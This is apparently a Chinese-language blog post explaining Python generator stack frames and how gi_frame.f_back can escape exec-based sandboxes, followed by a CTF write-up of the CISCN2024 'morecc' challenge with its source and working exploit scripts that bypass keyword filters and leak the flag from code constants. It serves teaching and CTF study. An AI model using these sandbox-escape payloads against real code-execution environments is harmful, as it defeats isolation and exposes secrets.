python 棧幀沙箱逃逸

meraklbz發表於2024-08-01

基礎理論

什麼是生成器

生成器是python中的一種特殊的迭代器,在每次生成值以後會保留當前狀態,以便下次呼叫可以繼續生成值.
python中生成器透過yield關鍵詞進行定義,每次呼叫的時候返回一個值,並保持當前狀態的同時暫停函式的執行.當下一次呼叫生成器的時候,函式會從上次暫停的位置繼續執行,直到遇到另一個生成器或是遇到了函式的結束.
以下面的程式碼為例:

def f():
    a=1
    while True:
        yield a
        a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3

類似於列表推導式,我們也可以透過生成器表示式來方便的定義一個生成器,而不是寫一個顯式的函式.使用方法如下

a=(i+1 for i in range(100))
#next(a)
for value in a:
    print(value)
生成器的屬性

gi_code生成器對應的code物件.
gi_frame生成器對應的棧幀(frame物件)
gi_running生成器的函式是否正在執行
gi_yieldfrom如果生成器正在從另一個生成器物件中 yield值,則為該生成器物件的引用,否則為None

其中最為重要的就是gi_frame物件,他指向生成器當攜程的棧幀物件,包含了區域性變數,全域性變數以及位元組碼指令資訊等.
在python中棧幀包含了以下的幾個重要屬性

f_locals:一個字典,包含了函式或方法的區域性變數.鍵是變數名,值是變數的值.
f_globals:一個字典,包含了函式或方法所在模組的全域性變數.鍵是全域性變數名,值是變數的值.
f_code:一個程式碼物件(code object),包含了函式或方法的位元組碼指令、常量、變數名等資訊.
f_lasti:整數,表示最後執行的位元組碼指令的索引.
f_back:指向上一級呼叫棧幀的引用,用於構建呼叫棧.

利用棧幀沙箱逃逸

逃逸的核心就是利用f_back返回到上一幀來獲取在當前棧中沒有的資料.
來看一個例子:

s3cret="this is flag"

codes='''
def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器
    frame = next(g) #獲取到生成器的棧幀物件
    b = frame.f_back.f_back.f_globals['s3cret'] #返回並獲取前一級棧幀的globals,其實f_locals也好使.
    return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

我們解讀一下上面的每次返回.frame被賦值為f的棧幀的上一幀,也就是waff的棧幀.frame在第一次回退的時候回退到了虛擬檔案test的棧幀.在python的compile函式中,第二個引數是用來指定編譯的程式碼的虛擬檔名的.frame在第二次回退的時候回退到了當前python檔案的棧幀中.此時可以透過f_globals獲取全域性變數.使用f_locals也可以達到同樣的效果,因為此時已經在<modules>中,所以全域性變數和區域性變數沒有區別.

例題

CISCN2024 初賽 morecc

給出了原始碼如下.
main.py

import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()#讀了另一個程式的程式碼
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
    id = str(uuid1())
    try:
        data = request.json
        open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
            runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
#上面做的工作實際是將flag檔案內容作為種子,同時使用隨機數替代runner.py中的內容,然後生成了一個新的檔案.本質上還是一種防禦手段
        open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
#用於和使用者產生互動的對外介面
        run = subprocess.run(
            ['python', f"/app/uploads/{id}.py"],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=3
        )
        result = run.stdout.decode("utf-8")
        error = run.stderr.decode("utf-8")
        print(result, error)
#執行程式

        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": f"{result}\n{error}"
        })#臨時檔案刪除
    except:
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": "None"
        })#錯誤處理


if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

runner.py

def source_simple_check(source):

    """
    Check the source with pure string in string, prevent dangerous strings
    :param source: source code
    :return: None
    """

    from sys import exit
    from builtins import print

    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()

    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()
#對pyjail中的大多數攻擊進行了防禦

def block_wrapper():
    """
    Check the run process with sys.audithook, no dangerous operations should be conduct
    :return: None
    """

    def audit(event, args):

        from builtins import str, print
        import os

        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
    return audit
#對命令執行的防禦

def source_opcode_checker(code):
    """
    Check the source in the bytecode aspect, no methods and globals should be load
    :param code: source code
    :return: None
    """

    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()
    for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()
#從opcode的層面進行防禦

if __name__ == "__main__":

    from builtins import open
    from sys import addaudithook
    from contextlib import redirect_stdout
    from random import randint, randrange, seed
    from io import StringIO
    from random import seed
    from time import time

    source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()#讀取使用者輸入的內容
    source_simple_check(source)#一次防禦
    source_opcode_checker(source)#二次防禦
    code = compile(source, "<sandbox>", "exec")#編譯
    addaudithook(block_wrapper())#三次防禦
    outputIO = StringIO()
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__": None,#清空builtins,四次防禦
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print": print
        }, None)
    output = outputIO.getvalue()

    if "THIS_IS_SEED" in output:
        print("這 runtime 你就嘎嘎寫吧, 一寫一個不吱聲啊,點兒都沒攔住!")
        print("bad code-operation why still happened ah?")
#五次防禦    
    else:
        print(output)

註釋直接標在程式碼中了.
由於只是在<sandbox>中執行的時候清空了builtins,因此我們想到了逃逸出沙箱讀flag
首先寫成了初步的exp

import requests  
url = "http://192.168.111.129:5000/run"  
payload='''def test():  
    def f():  
        yield g.gi_frame.f_back  
    g = f()  
    frame = [x for x in g][0]  
    b=frame.f_back.f_back.f_back.f_code.co_consts  
    print(b)  
test()'''  
rep=requests.post(url,json={"code":payload})  
print(rep.text)

進行解讀:我們可以看到一共進行了四次回退,分別退到了<listcomp>,test(),<sandbox><module>,<module>,此時就回到了主程式的棧幀.然後透過f_code獲得了主程式的程式碼.
co_consts是一個常量列表,用於獲取一個程式碼物件中的所有的常量.那麼我們將其列印的時候就能夠得到作為常量被替換的flag
然而這個payload又有一個問題,就是THIS_IS_SEED也是一個出現過的常量,那麼就也會出現在列表中,就會出現第五次防禦而不能被成功的打出.
修改後的程式碼如下:

import requests
url = "http://192.168.111.129:5000/run"
payload='''def test():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame = [x for x in g][0]
    b=frame.f_back.f_back.f_back.f_globals["_"+"_buil"+"tins_"+"_"]
    d=b.str
    b=frame.f_back.f_back.f_back.f_code.co_consts  
    c=d(b)
    for i in c:
        print(i,end=" ")
test()'''
rep=requests.post(url,json={"code":payload})
print(rep.text)

我們在逃逸到了主程式後可以從中獲取builtins,進而獲取到str函式進行字串的拼接.在兩個字元之間拼接一個空格輸出即可不觸發防禦成功逃逸,得到flag.

相關文章